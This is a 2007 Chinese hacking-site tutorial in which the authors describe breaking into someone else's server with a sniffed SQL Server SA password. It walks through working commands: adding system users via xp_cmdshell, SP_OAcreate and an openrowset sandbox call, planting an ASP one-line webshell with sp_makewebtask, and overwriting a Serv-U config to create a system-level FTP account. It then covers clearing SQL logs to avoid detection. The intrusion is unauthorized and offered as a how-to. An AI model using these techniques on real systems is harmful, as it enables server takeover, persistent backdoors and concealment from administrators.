通行证│用户名: 密码: 验证码: 验证码,看不清楚?请点击刷新验证码 电信网通铁通移动   在线
文章搜索:
热门搜索:红客 黑鹰 红客技术 安全动画 红客培训
首页 文章 软件 动画 资源 励志 论坛 邮箱 会员 军事 科技 博客 爱心红客 最近更新 800g资源
 业内新闻 漏洞公告 病毒公告 电脑知识 网络知识 菜鸟入门 攻防教程 黑客攻防 安全编程 工具使用 综合安全 个人安全 安全相关 Q Q安全 原创精华 红客人物 站内事件
您现在的位置: 爱国者安全网 >> 文章类 >> 红客教程 >> 攻防教程 >> 文章正文
推荐:用存储过程一样搞定服务器
责任编辑:酷酷の鱼   更新日期:2007-12-3
 
作者:小志 &伤心的鱼[SST]

文章首发SST[脚本安全小组 ]转载请著名
正文:
前几天在搞一个站的时候嗅到了一个SA密码 但是用sql tool连上之后发现怎么也不能执行DOS命令
郁闷了 今天突然想到可以用存储过程来搞定这个服务器~
首先在本地用sql server的查询分析器连上他 权限当然是SA啦
但是在执行exec master.dbo.xp_cmdshell'net user'的时候却提示跟sql tool一样的错误 看来xp_cmdshell确
实不能用
错误消息
50001,级别 1,状态 50001
xpsql.cpp: 错误 5 来自 CreateProcess(第 737 行)
可能是某个相关的DLL文件被删除了
如图1


看来xp_cmdshell是不能用鸟~ 不过偶们还有SP_OAcreate可以用 用SP_OAcreate一样可以执行系统命令
在查询分析器里执行
DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD
@shell,'run',null, 'C:\WINdows\system32\cmd.exe /c net user gydyhook hook /add'
这段代码就是利用SP_OAcreate来添加一个gydyhook的系统用户 然后直接提升为管理员权限就OK了
提示命令完成成功 说明SP_OAcreate并没有被删除 我们用终端连一下
如图2
图3



居然提示密码错误?难道是wscript.shell被删了?其实这里的判断只是经验而你 你要问我怎么判断服务器是
做了密码策略还是wscript.shell被删 我只能告诉你这是经验而已
虽然wscript.shell被删了 但是我们还是有FSO嘛。 先试着列下目录 找到WEB目录搞个SHELL再说
使用exec master.dbo.xp_subdirs 'c:\'来查看C盘的目录 发现完全可以列目录
列目录没问题了 然后偶查看D盘的时候发现有D:\web这个目录 随便找一个网站在IE里打看发现存在这个网站
然后列出来几个目录发现这个网站还有ewebeditor 不过偶们今天不用他 因为有SA嘛 也不用去备份了 直接写
个一句话进去
语句如下
exec master.dbo.xp_subdirs 'd:\web\www.xx.com';
exec sp_makewebtask 'd:\web\www.XXXX.com\XX.asp','select''<%execute(request("SB"))%>'' '
提示命令执行成功偶们看看效果
如图4
如图5



看来小马写进去鸟~ 一点没问题 剩下的就是写入大马啦 然后提权之~ 哈哈 但是意想不到的事情又发生了
NND竟然不让我传大马 我日 提示ADODB.Stream 错误 '800a0bbc' 写入文件失败。 然后换了N个目录都写不进

然后我又列出来其他的目录写小马进去 但是都传不了大马 看来管理员把整个WEB目录都设置成了只读
如图6


NND我都有SA了还不信搞不定这个服务器 差点忘记了还可以用沙盘 嘿嘿 看来一着急脑子就乱
查询分析器里执行select * from openrowset('microsoft.jet.oledb.4.0','
;database=c:\windows\system32\ias\ias.mdb',
'select shell("cmd.exe /c net user admin admin1234 /add")')来利用沙盘来添加个管理员 但是事实告诉
我 我的RP并不好
如图7


既然沙盘也不行 那就另寻出路吧
刚才列目录的时候好象看见了Serv-U6.3 但是使用exec master.dbo.xp_subdirs 'd:\Serv-U6.3'的时候发现看
不到文件夹里的内容 不过没关系~ 偶们不是有一句话么。虽然没有写的权限 但是读的权限总改有吧 直接在
一句话里查看目录就OK了 虽然能看目录 但是用ASP馬,也不能讀出SERV——U配置文件来 看来还得用存储过程
如图8


既然找到了SU的目录那偶就想能不能利用一句话写配置信息到ServUDaemon.ini里 然后利用SU来提权 但是事实
证明这个破站权限太牛X了 只能看不能写 不过没关系 偶们还可以利用存储过程
嘿嘿 使用declare @o int, @f int, @t int, @ret int
declare @line varchar(8000)
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'opentextfile', @f out, 'd:\Serv-U6.3\ServUDaemon.ini', 1
exec @ret = sp_oamethod @f, 'readline', @line out
while( @ret = 0 )
begin
print @line
exec @ret = sp_oamethod @f, 'readline', @line out
end
这段代码就可以把ServUDaemon.ini里的配置信息全部显示出来 嘿嘿 既然能看了那偶门不是一样可以写进去?
直接写一个系统权限的FTP帐号 进去
使用declare @o int, @f int, @t int, @ret int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'createtextfile', @f out, 'd:\Serv-U6.3\ServUDaemon.ini', 1
exec @ret = sp_oamethod @f, 'writeline', NULL, 《这里添写自己写好的SU配置信息 刚才复制的那些都要
写上去》
然后执行一下 成功执行 我们再用存储过程看看写进去没有
如图9


OK 我XXXXXX 成功写进去了一个用户名为XXXX密码为空的系统权限的FTP 然后偶们在FTP里执行
quote siteXXXXXXX 提权就好了。 这里已经很熟悉了 就不写了。~ 然后用3389连一下 成功地到服务器权限
然后偶们再用set nocount on
declare @logicalfilename sysname,
@maxminutes int,
@newsize int 来清理掉SQL日志 免的被管理员发现
整个的提权过程大部分都是用存储过程来完成的。其实这些东西在以前提权的时候都没有想到。
感觉这个思路很不错 所以写出来 各位大牛见笑了
  • 上一篇文章:
  • 下一篇文章:
  • 最近更新
    固顶文章 爱国者安全网2007年度优秀版主评选
    普通文章 瑞星公司01月11日发布 每日计算机病毒及木马播报
    普通文章 破解博彩神助(专注彩票) V2.8.01
    推荐文章 推荐:跨站脚本执行漏洞代码的六点思路
    普通文章 Windows系统下的远程堆栈溢出 实战篇
    普通文章 Windows系统下的远程堆栈溢出 原理篇
    普通文章 MsSQLServer是如何加密口令的
    普通文章 浅谈国内的渗透评估过程
    普通文章 Dvbbs8.1 0DAY(通杀Access和mssql版本)
    普通文章 微软:我们的代码比赛门铁克更安全
    热门文章
    普通文章提醒:“求职信”病毒1月6日发作
    普通文章两条“蠕虫”蠢蠢欲动
    普通文章5“网银大盗”狂盗储户14万 武汉男子被判10年
    普通文章“木马事件”终告结束 英语学习网重获新生
    普通文章搜索引擎不再喜欢新米,并非只是CN米
    普通文章蠕虫"威金"新变种 "小熊猫"屠宰多个计算机系统
    普通文章元旦上网谨防“Real蛀虫” 通过视频文件传播
    普通文章入侵工具Knark的分析及防范
    普通文章认清本质 计算机病毒防治常遇问题
    普通文章饶过现代Anti-Rookit工具的内核模块扫描(ZT)
    精彩专题